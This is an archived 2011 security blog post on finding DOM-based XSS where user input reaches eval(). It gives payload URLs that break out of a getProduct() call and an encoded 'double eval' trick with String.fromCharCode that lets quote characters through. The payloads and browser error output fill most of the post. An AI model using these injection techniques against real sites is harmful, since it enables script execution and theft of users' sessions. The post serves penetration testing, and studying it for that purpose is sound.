

Double eval() for DOM based XSS

Double eval() for DOM based XSS - Author not stated, shreeraj.blogspot.com.

- Published: date not stated
- Original: <<https://shreeraj.blogspot.com/2011/12/double-eval-for-dom-based-xss.html>>
- Preserved from: <https://shreeraj.blogspot.com/2011/12/double-eval-for-dom-based-xss.html> (live) on 2026-08-06
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

DOM based XSS are becoming relatively common with Web 2.0 and Ajax driven applications. DOM based applications are using eval() method to inject new stream into the existing DOM. In certain cases it is becoming tricky to pass on the values for pen-testing and to create an abuse/exploit scenario. Recently during consulting we came across different DOM based XSS and objective is to get a pop-up to confirm the vulnerability. If we get an eval call then it is possible to double eval-ing to convert text back into payload.

Here is a simple scenario; it can be complicated on case to case basis.

For example, we have following line in the code

```
eval('getProduct('+ koko.toString()+')');
```

Here "koko" is coming from URL or controlled by user. Hence, if we pass on the value in following URL it gets to the "getProduct" function.

<http://192.168.3.2/catalog.aspx?pid=3>

Testing scenario is simple, it causes DOM based XSS with following condition.

[http://192.168.3.2/catalog.aspx?pid=3'\);//;//](http://192.168.3.2/catalog.aspx?pid=3');//;//)

We are passing payload terminating function, ending statement and commenting out rest of the script. We get a simple pop-up if we pass on following code.

[http://192.168.3.2/catalog.aspx?pid=3'\);alert\(1\)//;alert\(1\)//](http://192.168.3.2/catalog.aspx?pid=3');alert(1)//;alert(1)//)

But to prove a point if we want to craft any other payload where we need to send single quote, for example want to execute "document.getElementsByName('Login')" will not work since we have that single quote that will raise syntax error. For simplicity if we pass on alert('hi'), it will not work and we will not get popup in above scenario.

[http://192.168.3.2/catalog.aspx?pid=3'\);alert\('hi'\)//;alert\('hi'\)//](http://192.168.3.2/catalog.aspx?pid=3');alert('hi')//;alert('hi')//)

We get following error in the browser.

Error: syntax error

Source File: `http://192.168.3.2/catalog.aspx?pid=3%27);elval(alert(%27hi%27));//`

Line: 37, Column: 29

Source Code:

`getProduct(3%27);elval(alert(%27hi%27));//`

Interestingly, we can leverage double eval() in this case, we pass on following payload and let's see what happens...

`http://192.168.3.2/catalog.aspx?pid=3');eval(String.fromCharCode(97,108,101,114,116,40,39,104,105,39,41));eval(String.fromCharCode(97,108,101,114,116,40,39,104,105,39,41));//`

It will avoid error and we will get a pop-up. What we did was simple, we used fromCharCode function and passed on decimal values for alert('hi') here, first eval will convert it into string and second eval will execute the code. Hence, double eval can rescue while testing DOM based XSS.

Curiously I searched this trick on web if people are using it and came across this article - <http://blogs.msdn.com/b/infopath/archive/2006/04/05/569338.aspx>

Double eval() can be leveraged for string operations and concatenation.